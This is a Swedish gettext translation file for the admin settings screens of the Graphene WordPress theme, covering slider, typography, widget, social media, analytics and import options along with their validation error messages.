#: admin/options-display.php:436
msgid "Slider"
msgstr "Bildvisare"

#: admin/options-display.php:439
msgid "Slider background preview"
msgstr "Förhandsvisning av bakgrund för bildvisare"

#: admin/options-display.php:444
msgid "Slider top left colour"
msgstr "Bildvisarens färg i övre vänstra hörnet"

#: admin/options-display.php:445
msgid "Slider bottom right colour"
msgstr "Bildvisarens färg i nedre högra hörnet"

#: admin/options-display.php:462
msgid "Block buttons"
msgstr "Fyrkantiga knappar"

#: admin/options-display.php:465
msgid "Block button preview"
msgstr "Förhandsvisning av fyrkantiga knappar"

#: admin/options-display.php:466
msgid "Button label"
msgstr "Knapptext"

#: admin/options-display.php:470
msgid "Button background colour"
msgstr "Bakgrundsfärg för knapp"

#: admin/options-display.php:471
msgid "Button label colour"
msgstr "Färg för knapptext"

#: admin/options-display.php:472
msgid "Button label text shadow"
msgstr "Textskugga för knapptext"

#: admin/options-display.php:489
msgid "Archive title"
msgstr "Arkivrubrik"

#: admin/options-display.php:492
msgid "Archive title preview"
msgstr "Förhandsvisning av arkivrubrik"

#: admin/options-display.php:493
msgid "Archive title:"
msgstr "Arkivrubrik:"

#: admin/options-display.php:493
msgid "Sample title"
msgstr "Exempelrubrik"

#: admin/options-display.php:497
msgid "Archive background gradient left colour"
msgstr "Övertonad bakgrund för arkiv, färg till vänster"

#: admin/options-display.php:498
msgid "Archive background gradient right colour"
msgstr "Övertonad bakgrund för arkiv, färg till höger"

#: admin/options-display.php:499
msgid "Archive label colour"
msgstr "Färg på arkivnamn"

#: admin/options-display.php:500
msgid "Archive text colour"
msgstr "Färg på arkivtext"

#: admin/options-display.php:501
msgid "Archive label and text shadow colour"
msgstr "Färg på skugga för arkivnamn och arkivtext"

#: admin/options-display.php:525
msgid "Text Style Options"
msgstr "Inställningar för textstilar"

#: admin/options-display.php:528
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Observera att dessa är CSS egenskaper, så alla giltiga CSS värden för varje respektive egenskap kan användas."

#: admin/options-display.php:529
msgid "Some example CSS properties values:"
msgstr "Några exempel på CSS egenskaper:"

#: admin/options-display.php:532
msgid "Text font:"
msgstr "Typsnitt:"

#: admin/options-display.php:536
msgid "Text size and line height:"
msgstr "Textstorlek och radhöjd:"

#: admin/options-display.php:540
msgid "Text weight:"
msgstr "Texttjocklek:"

#: admin/options-display.php:544
msgid "Text style:"
msgstr "Textstil:"

#: admin/options-display.php:548
msgid "Text colour:"
msgstr "Textfärg:"

#: admin/options-display.php:553
msgid "Header Text"
msgstr "Sidhuvudstext"

#: admin/options-display.php:557
msgid "Title text font"
msgstr "Rubrikens typsnitt"

#: admin/options-display.php:563
msgid "Title text size"
msgstr "Rubrikens textstorlek"

#: admin/options-display.php:569
msgid "Title text weight"
msgstr "Rubrikens texttjocklek"

#: admin/options-display.php:575
msgid "Title text line height"
msgstr "Rubrikens radhöjd"

#: admin/options-display.php:581
msgid "Title text style"
msgstr "Rubrikens textstil"

#: admin/options-display.php:590
msgid "Description text font"
msgstr "Beskrivning typsnitt"

#: admin/options-display.php:596
msgid "Description text size"
msgstr "Beskrivning textstorlek"

#: admin/options-display.php:602
msgid "Description text weight"
msgstr "Beskrivning texttjocklek"

#: admin/options-display.php:608
msgid "Description text line height"
msgstr "Beskrivning radhöjd"

#: admin/options-display.php:614
msgid "Description text style"
msgstr "Beskrivning textstil"

#: admin/options-display.php:620
msgid "Content Text"
msgstr "Brödtext"

#: admin/options-display.php:624
msgid "Text font"
msgstr "Typsnitt"

#: admin/options-display.php:630
msgid "Text size"
msgstr "Textstorlek"

#: admin/options-display.php:636
msgid "Text line height"
msgstr "Radhöjd"

#: admin/options-display.php:642
msgid "Text colour"
msgstr "Textfärg"

#: admin/options-display.php:652
msgid "Link Text"
msgstr "Länktext"

#: admin/options-display.php:656
msgid "Link colour (normal state )"
msgstr "Länkfärg (normal länk)"

#: admin/options-display.php:657
msgid "Link colour (visited state )"
msgstr "Länkfärg (besökt länk)"

#: admin/options-display.php:658
msgid "Link colour (hover state )"
msgstr "Länkfärg (markör ovan)"

#: admin/options-display.php:675
msgid "Text decoration (normal state )"
msgstr "Textdekoration (normal länk)"

#: admin/options-display.php:681
msgid "Text decoration (hover state )"
msgstr "Textdekoration (markör ovan)"

#: admin/options-display.php:694
msgid "Footer Widget Display Options"
msgstr "Inställningar för visning av widget-område i sidfot"

#: admin/options-display.php:700
msgid "Number of columns to display"
msgstr "Antal kolumner att visa"

#: admin/options-display.php:707
msgid "Number of columns to display for front page footer widget"
msgstr "Antal kolumner att visa inom widget-område i huvudsidans sidfot"

#: admin/options-display.php:721
msgid "Navigation Menu Display Options"
msgstr "Navigeringsmenyns visningsinställningar"

#: admin/options-display.php:727
msgid "Dropdown menu item width"
msgstr "Bredd på rullgardinsmenyer"

#: admin/options-display.php:733
msgid "Disable description in Header Menu"
msgstr "Stäng av beskrivningar i sidhuvudets meny"

#: admin/options-display.php:741
msgid "Description for default menu \"Home\" item"
msgstr "Beskrivning för standardmenyns punkt \"Hem\""

#: admin/options-display.php:757
msgid "Miscellaneous Display Options"
msgstr "Övriga visningsinställningar"

#: admin/options-display.php:760
msgid "Site title options"
msgstr "Inställningar för webbplatsens rubrik"

#: admin/options-display.php:761
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Använd dessa etiketter för anpassa din webbplat's rubrikstruktur: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options-display.php:765
msgid "Custom front page site title"
msgstr "Anpassa webbplatsens rubrik på huvudsidan"

#: admin/options-display.php:769
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "Standardvärde är <code>#site-name &raquo; #site-desc</code>. Etiketten <code>#post-title</code> kan inte användas här."

#: admin/options-display.php:774
msgid "Custom content pages site title"
msgstr "Webbplatsens rubrik på anpassade sidor med innehåll"

#: admin/options-display.php:778
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "Standardvärde är <code>#post-title &raquo; #site-name</code>."

#: admin/options-display.php:783
msgid "Favicon options"
msgstr "Faviconinställningar"

#: admin/options-display.php:787
msgid "Favicon URL"
msgstr "Favicon URL"

#: admin/options-display.php:791
#: admin/options-general.php:98
msgid "Upload or select image from gallery"
msgstr "Ladda upp en bild, eller välj en från galleriet"

#: admin/options-display.php:791
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "För att aktivera en favicon, ange helt enkelt hela URL-adressen till din favicon-fil här. Se också till att inkludera <code>http://</code> i början av din URL. Du kan  använda MediaUppladdaren i WordPress eller välja en bild i mediabiblioteket."

#: admin/options-display.php:796
msgid "WordPress Editor options"
msgstr "Inställningar för WordPress redigering"

#: admin/options-display.php:800
msgid "Disable custom editor styles"
msgstr "Använd ej anpassat format för redigering"

#: admin/options-display.php:813
msgid "Custom CSS"
msgstr "Anpassad CSS"

#: admin/options-display.php:818
msgid "Custom CSS styles"
msgstr "Anpassade CSS stilar"

#: admin/options-display.php:820
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Du kan ange din egen CSS kod här nedan för att modifiera andra delar av temats utseende som inte inkluderas bland inställningarna."

#: admin/options-general.php:12
msgid "Slider Options"
msgstr "Inställningar för bildvisare"

#: admin/options-general.php:18
msgid "Disable slider"
msgstr "Inaktivera bildvisaren"

#: admin/options-general.php:26
msgid "What do you want to show in the slider"
msgstr "Vad vill du visa i bildvisaren"

#: admin/options-general.php:30
msgid "Show latest posts"
msgstr "Visa senaste inlägg"

#: admin/options-general.php:33
msgid "Show random posts"
msgstr "Visa slumpmässigt valda inlägg"

#: admin/options-general.php:36
msgid "Show specific posts/pages"
msgstr "Visa specifika inlägg/sidor"

#: admin/options-general.php:39
msgid "Show posts from categories"
msgstr "Visa inlägg från vissa kategorier"

#: admin/options-general.php:44
#: admin/options-general.php:258
msgid "Posts and/or pages to display"
msgstr "Inlägg och/eller sidor som skall visas"

#: admin/options-general.php:49
#: admin/options-general.php:263
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Ange ID för de inlägg och/eller sidor som skall visas, separerade med komma. T.ex. : <code>1,13,45,33</code>"

#: admin/options-general.php:50
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Gäller enbart om <strong>Visa specifika inlägg/sidor</strong> har valts här ovan."

#: admin/options-general.php:56
msgid "Categories to display"
msgstr "Kategorier som skall visas"

#: admin/options-general.php:57
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "Alla inlägg inom valda kategorier visas i bildvisaren.Till exempel skulle du kunna skapa en ny kategori \"Utvalda\" och sedan ange denna kategori för de poster som du vill visa i bildvisaren."

#: admin/options-general.php:73
msgid "Number of posts to display"
msgstr "Antal inlägg som skall visas"

#: admin/options-general.php:104
msgid "Slider display style"
msgstr "Utseende på bildvisaren"

#: admin/options-general.php:108
msgid "Thumbnail and excerpt"
msgstr "Minibild och utdrag"

#: admin/options-general.php:109
msgid "Background image and excerpt"
msgstr "Bakgrundsbild och utdrag"

#: admin/options-general.php:110
msgid "Full post content"
msgstr "Hela inläggets innehåll"

#: admin/options-general.php:116
msgid "Slider animation"
msgstr "Animering av bildvisaren"

#: admin/options-general.php:121
msgid "Horizontal slide"
msgstr "Skjut in horisontellt"

#: admin/options-general.php:122
msgid "Vertical slide"
msgstr "Skjut in vertikalt"

#: admin/options-general.php:123
msgid "Fade"
msgstr "Tona över"

#: admin/options-general.php:124
msgid "No effect"
msgstr "Ingen övergångseffekt"

#: admin/options-general.php:130
msgid "Slider height"
msgstr "Bildvisarens storlek på höjden"

#: admin/options-general.php:138
msgid "Slider speed"
msgstr "Bildvisarens hastighet"

#: admin/options-general.php:141
#: admin/options-general.php:150
msgid "milliseconds"
msgstr "millisekunder"

#: admin/options-general.php:142
msgid "This is the duration that each slider item will be shown"
msgstr "Detta styr hur länge bildvisaren kommer att visa varje post"

#: admin/options-general.php:147
msgid "Slider transition speed"
msgstr "Bildvisarens bildväxlingshastighet"

#: admin/options-general.php:151
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Detta anger hur snabbt övergången mellan bilder sker. Lägre värden = högre hastighet."

#: admin/options-general.php:156
msgid "Move slider to bottom of page"
msgstr "Placera bildvisaren till slutet av sidan"

#: admin/options-general.php:169
msgid "Front Page Options"
msgstr "inställningar för huvudsida"

#: admin/options-general.php:175
msgid "Front page posts categories"
msgstr "Inläggskategorier som skall inkluderas på huvudsidan"

#: admin/options-general.php:177
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Enbart inlägg som tillhör de valda kategorierna kommer att visas på huvudsidan. Påverkar ej Statisk startsida."

#: admin/options-general.php:182
msgid "--Disabled--"
msgstr "--Inaktiverad (visa alla)--"

#: admin/options-general.php:190
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Flera kategorier kan väljas om du håller ned CTRL-tangenten."

#: admin/options-general.php:202
msgid "Homepage Panes"
msgstr "Paneler på hemsidan"

#: admin/options-general.php:209
msgid "Disable homepage panes"
msgstr "Inaktivera hemsidans paneler"

#: admin/options-general.php:219
msgid "Type of content to show"
msgstr "Typ av innehåll som skall visas"

#: admin/options-general.php:226
msgid "Latest posts by category"
msgstr "Senaste inlägg per kategori"

#: admin/options-general.php:229
msgid "Posts and/or pages"
msgstr "Inlägg och/eller sidor"

#: admin/options-general.php:234
msgid "Number of latest posts to display"
msgstr "Antal senaste inlägg som skall visas"

#: admin/options-general.php:238
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Används enbart om <strong>Senaste inlägg</strong> eller <strong>Senaste inlägg per kategori</strong> har valts här ovan."

#: admin/options-general.php:243
msgid "Category to show latest posts from"
msgstr "Kategori, vars senaste inlägg skall visas"

#: admin/options-general.php:253
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Används endast om <strong>Senaste inlägg per kategori</strong> har valts här ovan."

#: admin/options-general.php:264
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Används endast om <strong>Inlägg och/eller sidor</strong> har valts här ovan."

#: admin/options-general.php:270
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Notera:</strong> hemsidepaneler visas enbart när <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statisk huvudsida</a> används."

#: admin/options-general.php:280
msgid "Comments Options"
msgstr "Kommentarinställningar"

#: admin/options-general.php:286
msgid "Commenting"
msgstr "Kommentarer"

#: admin/options-general.php:290
msgid "Use WordPress settings"
msgstr "Använd inställningarna i WordPress"

#: admin/options-general.php:291
msgid "Disabled for pages"
msgstr "Inaktiverad för sidor"

#: admin/options-general.php:292
msgid "Disabled completely"
msgstr "Inaktivera helt"

#: admin/options-general.php:294
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "OBS: denna inställning upphäver de globala Diskussionsinställningarna i Wordpress under \"Tillåt kommentarer på nya inlägg\" och inställningen \"Tillåt kommentarer\" för individuella inlägg/sidor."

#: admin/options-general.php:306
msgid "Child Page Options"
msgstr "Inställningar för underordnade sidor"

#: admin/options-general.php:312
msgid "Hide parent box if content is empty"
msgstr "Göm ruta för överordnad sida om den saknar innehåll"

#: admin/options-general.php:318
msgid "Child page listings"
msgstr "Lista med underordnade sidor"

#: admin/options-general.php:322
msgid "Show listing"
msgstr "Visa listan"

#: admin/options-general.php:323
msgid "Hide listing"
msgstr "Göm listan"

#: admin/options-general.php:324
msgid "Only show listing if parent content is empty"
msgstr "Visa listan enbart om överordnad sida saknar innehåll"

#: admin/options-general.php:337
msgid "Widget Area Options"
msgstr "Inställningar för Widget-område"

#: admin/options-general.php:340
msgid "Header widget area"
msgstr "Widget-område i sidhuvud"

#: admin/options-general.php:341
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Viktigt:</strong> Dentta widget-område saknar specifik stil, eftersom det ofta används för annonser etc. Om du aktiverar området, se till att du anger dess stil under anpassade CSS-inställningar."

#: admin/options-general.php:345
msgid "Enable header widget area"
msgstr "Aktivera widget-område i sidhuvud"

#: admin/options-general.php:354
msgid "Alternate Widgets"
msgstr "Huvudsidans widget-områden"

#: admin/options-general.php:355
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Du kan ange att huvudsidan skall ha andra widget-områden än resten av webbplatsen. Om du aktiverar denna inställning, kommer sidan med inställningar för widgetar att innehålla extra widget-områden som enbart komer att visas på huvudsidan."

#: admin/options-general.php:358
msgid "Enable alternate front page sidebar widget area"
msgstr "Aktivera separat widget-område för huvudsidans sidopanel"

#: admin/options-general.php:362
msgid "Enable alternate front page footer widget area"
msgstr "Aktivera separat widget-område för huvudsidans sidfot"

#: admin/options-general.php:363
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Om du aktiverar denna inställning kan du även ange ett annorlunda antal kolumner för sidfoten på huvudsidan widget-område i sidfoten."

#: admin/options-general.php:376
msgid "Top Bar Options"
msgstr "Inställningar för översta bandet"

#: admin/options-general.php:382
msgid "Hide the top bar"
msgstr "Dölj översta listen"

#: admin/options-general.php:390
msgid "Hide feed icon"
msgstr "Göm ikon for RSS-flöde"

#: admin/options-general.php:394
msgid "Use custom feed URL"
msgstr "Använd anpassad URL för RSS-flöde"

#: admin/options-general.php:397
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "Denna anpassade URL för RSS-flöde ersätter WordPress' normala URL för RSS-flöde."

#: admin/options-general.php:401
msgid "Open social media links in new window"
msgstr "Öppna länkar till sociala media i ett nytt fönster"

#: admin/options-general.php:405
msgid "Twitter URL"
msgstr "Twitter-URL"

#: admin/options-general.php:408
msgid "Enter the URL to your Twitter page."
msgstr "Vänligen ange URL till din Twittersida."

#: admin/options-general.php:412
msgid "Facebook URL"
msgstr "Facebook URL"

#: admin/options-general.php:415
msgid "Enter the URL to your Facebook profile page."
msgstr "Vänligen ange URL till din profils sida på Facebook."

#. translators: %s will be replaced by the social media service name. Example: LinkedIn Title
#: admin/options-general.php:426
#, php-format
msgid "%s Title"
msgstr "%s Rubrik"

#: admin/options-general.php:431
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr "Denna rubrik är tom och följande rubrik kommer att visas: <strong>%s</strong>"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn URL
#: admin/options-general.php:437
#, php-format
msgid "%s URL"
msgstr "URL för %s"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL
#: admin/options-general.php:442
#, php-format
msgid "%s icon URL"
msgstr "URL till ikon för %s"

#: admin/options-general.php:445
msgid "Delete"
msgstr "Radera"

#: admin/options-general.php:453
msgid "Add new social media icon"
msgstr "Addera ny ikon för sociala media"

#: admin/options-general.php:465
msgid "Social Sharing Buttons"
msgstr "Knapp för delning via sociala media"

#: admin/options-general.php:470
msgid "Show social sharing button"
msgstr "Visa knapp för delning via sociala media"

#: admin/options-general.php:476
msgid "Show in Pages as well?"
msgstr "Skall den visas även på sidor?"

#: admin/options-general.php:480
msgid "Social sharing buttons location"
msgstr "Placering av knapp för delning via sociala media"

#: admin/options-general.php:483
msgid "Bottom of posts"
msgstr "Nedanför inlägg"

#: admin/options-general.php:484
msgid "Top of posts"
msgstr "Ovanför inlägg"

#: admin/options-general.php:485
msgid "Both top and bottom"
msgstr "Både ovanför och nedanför inlägg"

#: admin/options-general.php:491
msgid "Your social sharing button code"
msgstr "Kod för knapp för delnig via sociala medier"

#: admin/options-general.php:492
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Du kan använda kod från valfritt socialt media, såsom Facebook, Digg eller AddThis etc."

#: admin/options-general.php:495
msgid "You may use these tags to get the post's URL, title, and excerpt:"
msgstr "Du kan använda följande etiketter för att inkludera inläggets URL och rubrik:"

#: admin/options-general.php:507
msgid "Adsense Options"
msgstr "Adsense inställningar"

#: admin/options-general.php:513
msgid "Show Adsense advertising"
msgstr "Visa Adsense-reklam"

#: admin/options-general.php:521
msgid "Show ads on front page as well"
msgstr "Visa reklam även på huvudsidan"

#: admin/options-general.php:527
msgid "Your Adsense code"
msgstr "Din Adsense-kod"

#: admin/options-general.php:540
msgid "Google Analytics Options"
msgstr "Inställningar för Google Analytics"

#: admin/options-general.php:545
msgid "Enable Google Analytics tracking"
msgstr "Aktivera Google Analytics-spårning (tracking)"

#: admin/options-general.php:552
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>OBS:</strong> temat placerar nu skriptet för Google Analytics inom taggarna <code>&lt;head&gt;</code> delen för att bättre stödja det nya asynkrona skriptet för Google Analytics. Vänligen uppdatera ditt skript för att kunna nyttja det nya asynkrona skriptet från Google Analytics."

#: admin/options-general.php:556
msgid "Google Analytics tracking code"
msgstr "Google Analytics spårningskod (tracking code)"

#: admin/options-general.php:557
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Säkerställ att du inkluderar hela spårningskoden (inklusive taggarna <code>&lt;script&gt;</code> och <code>&lt;/script&gt;</code>. Det räcker inte att bara ange <code>UA-#######-#</code>-koden."

#: admin/options-general.php:570
msgid "Footer Options"
msgstr "Inställningar för Sidfot"

#: admin/options-general.php:575
msgid "Use Creative Commons licence for content"
msgstr "Använd Creative Commons Licens för innehåll"

#: admin/options-general.php:580
msgid "Copyright text (html allowed)"
msgstr "Copyright-text (html tillåtet)"

#: admin/options-general.php:581
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Om detta fält lämnas tomt, visas följande standardtext om copyright:"

#: admin/options-general.php:587
msgid "Do not show copyright info"
msgstr "Dölj information om copyright"

#: admin/options-general.php:591
msgid "Do not show the \"Return to top\" link"
msgstr "Dölj länken \"Åter till början\""

#: admin/options-general.php:603
msgid "Print Options"
msgstr "Utskriftsinställningar"

#: admin/options-general.php:608
msgid "Enable print CSS for single posts and pages?"
msgstr "Aktivera utskrifts-CSS på sidor eller enstaka inlägg visas?"

#: admin/options-general.php:614
msgid "Show print button"
msgstr "Visa utskriftsknapp"

#: admin/options-import.php:38
#: admin/options-import.php:169
#: admin/options-presets.php:48
#: admin/uninstall.php:32
msgid "ERROR: You are not authorised to perform that operation"
msgstr "FEL: Du saknar behörighet att göra detta"

#: admin/options-import.php:59
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Följande fel behöver åtgärdas innan uppladdning av din importfil:"

#: admin/options-import.php:65
#: admin/options-import.php:98
msgid "Import Graphene Theme Options"
msgstr "Importera temainställnignar för Graphene"

#: admin/options-import.php:67
msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Notera:</strong> Denna feature är under test. Vänligen rapportera eventuella fel i <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Hjälpforumet</a>."

#: admin/options-import.php:69
msgid "Choose a file from your computer:"
msgstr "Välj fil från din dator:"

#: admin/options-import.php:69
#, php-format
msgid "Maximum size: %s"
msgstr "Max storlek: %s"

#: admin/options-import.php:76
msgid "Upload file and import"
msgstr "Ladda upp fil och importera"

#: admin/options-import.php:141
msgid "Options import completed"
msgstr "Import av inställningar klar"

#: admin/options-import.php:142
msgid "Go to the Graphene options page"
msgstr "Tillbaka till Graphene sida för inställningar."

#: admin/options-import.php:145
#: admin/options-import.php:150
#: admin/options-import.php:155
msgid "Sorry, there has been an error."
msgstr "Tyvärr, det har uppstått ett fel."

#: admin/options-import.php:146
msgid "The uploaded file does not contain valid Graphene options."
msgstr "Den uppladdade filen innehåller ej giltiga inställningar för Graphene."

#: admin/options-import.php:151
msgid "The uploaded file could not be read."
msgstr "Den uppladdade filen kan ej läsas."

#: admin/options-import.php:156
msgid "The uploaded file is not supported."
msgstr "Den uppladdade filen stöds ej."

#: admin/options-import.php:164
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Filen är tom. Vänligen ladda upp någonting mer användbart. Felet kan bero på att uppladdning har inaktiverats i php.ini eller att post_max_size är satt till ett lägre värde än upload_max_filesize i php.ini."

#: admin/options-init.php:34
msgid "Graphene Options"
msgstr "Graphene inställningar"

#: admin/options-init.php:35
msgid "Graphene FAQs"
msgstr "Graphene Frågor & Svar"

#: admin/options-init.php:85
msgid "Toggle all options boxes"
msgstr "Öppna/stäng alla grupper av inställningar"

#: admin/options-init.php:127
msgid "Template preview not found."
msgstr "Kan ej hitta förhandsvisning för mallen"

#: admin/options-init.php:130
msgid "default"
msgstr "standard"

#: admin/options-init.php:186
#: admin/options-init.php:190
msgid "Theme default"
msgstr "Temats standardval"

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr "Webbplatsens inställningar för \"Normal webbplats\" har tillämpats."

#: admin/options-presets.php:41
msgid "Settings have been reset."
msgstr "Inställningarna har återställts."

#: admin/options-validator.php:24
msgid "ERROR: Invalid category to show in slider."
msgstr "FEL: Felaktig kategori för visning i bildvisare"

#: admin/options-validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr "FEL: Du måste ange vilka inlägg/sidor som skall visas när du i bildvisaren angivit \"Visa endast vissa inlägg/sidor\" i bildvisarkategorin."

#: admin/options-validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr "FEL: Du måste ange minst en kategori om du i bildvisaren angivit \"Visa endast inlägg från viss kategori\" för bildvisaren."

#: admin/options-validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr "FEL: Ogiltig val av kategori för urval av inlägg för bildvisaren."

#: admin/options-validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr "FEL: Antalet inlägg att visa i bildvisaren måste vara ett heltal."

#: admin/options-validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr "FEL: Felaktiga inställningar angivna för bildvisarens bilder."

#: admin/options-validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr "FEL: Inkorrekt URL angiven för anpassad URL till bildvisarens bild."

#: admin/options-validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr "FEL: Inkorrekt inställning angiven för bildvisarens visningstyp."

#: admin/options-validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr "FEL: Bildvisarens höjd måste anges med ett heltal."

#: admin/options-validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr "FEL: Bildvisarens hastighet måste anges med ett heltal."

#: admin/options-validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr "FEL: Bildvisarens sidövergångshastighet måste anges med ett heltal."

#: admin/options-validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr "FEL: Ogiltig bildvisar-animering."

#: admin/options-validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr "FEL: Ogiltig val av kategori för filtrering av inlägg på förstasidan."

#: admin/options-validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr "FEL: Ogiltigt val för typ av innehåll att visa på förstasidans paneler."

#: admin/options-validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr "FEL: Antalet senaste inlägg som skall visas i förstasidans paneler måste vara ett heltal."

#: admin/options-validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr "FEL: Ogiltig kategori vald för visning av senaste inlägg i förstasidans paneler."

#: admin/options-validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr "FEL: Felaktiga val gjorda i inställningar för kommentarer."

#: admin/options-validator.php:116
msgid "ERROR: Invalid option for the child page listings."
msgstr "FEL: Ogiltigt val med avseende på listningar av underordnade sidor."

#: admin/options-validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr "FEL: Felaktig URL angiven för anpassad URL för RSS-flöde."

#: admin/options-validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr "FEL: Felaktig URL angiven för Twitter."

#: admin/options-validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr "FEL: Felaktig URL angiven för Facebook."

#: admin/options-validator.php:152
msgid "ERROR: Bad URL entered for the social media icon URL."
msgstr "FEL: Felaktig URL angiven för ikonen &quot;Sociala media&quot;"

#: admin/options-validator.php:153
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "FEL: Felaktig URL angiven för adress till &quot;Sociala media&quot;"

#: admin/options-validator.php:169
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr "FEL: Felaktigt alternativ för placering av knappar för delning via sociala media."

#: admin/options-validator.php:229
msgid "ERROR: Invalid option for the Search box location."
msgstr "FEL: Felaktigt alternativ för placering av sökfält"

#: admin/options-validator.php:234
msgid "ERROR: Invalid option for the column mode."
msgstr "FEL: Felaktigt alternativ för kolumninställningar."

#: admin/options-validator.php:235
msgid "ERROR: Invalid option for the bbPress column mode."
msgstr "FEL: Felaktigt alternativ för bbPress kolumninställningar"

#: admin/options-validator.php:242
#, php-format
msgid "ERROR: Invalid width for %s. Width value must be positive number without units."
msgstr "FEL: Ogiltig bredd för %s. Måste vara ett positivt heltal utan angivande av enhet."

#: admin/options-validator.php:250
msgid "ERROR: Invalid option for the post date display."
msgstr "FEL: Felaktigt alternativ för visning av datum vid inlägg."

#: admin/options-validator.php:316
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "FEL: Antalet kolumner för visning sidfotens widget-område måste anges som ett heltal."

#: admin/options-validator.php:321
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr "FEL: Bredden på submenyer måste anges som ett heltal."

#: admin/options-validator.php:329
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr "FEL: Inkorrekt URL angiven för favicon (sajt-ikon)."

#: admin/options-validator.php:344
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr "FEL: Ogiltigt val av \"action hook\" för placering av widget-fält."

#: admin/options.php:81
#: admin/uninstall.php:23
msgid "Uninstall Graphene"
msgstr "Avinstallera Graphene"

#: admin/options.php:82
msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Vänligen bekräfta att vill avinstallera Graphene temat. Alla temainställningar i databasen kommer att raderas."

#: admin/options.php:83
msgid "This action is not reversible."
msgstr "Denna handling går inte att ångra."

#: admin/options.php:87
#: admin/options.php:339
msgid "Uninstall Theme"
msgstr "Avinstallera tema"

#: admin/options.php:101
msgid "Graphene Theme Options"
msgstr "Temainställningar för Graphene"

#: admin/options.php:103
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "Dessa är de globala inställningarna för temat. Eventuella individuella inställningar för enstaka inlägg och sidor har företräde."

#: admin/options.php:111
msgid "General"
msgstr "Allmänt"

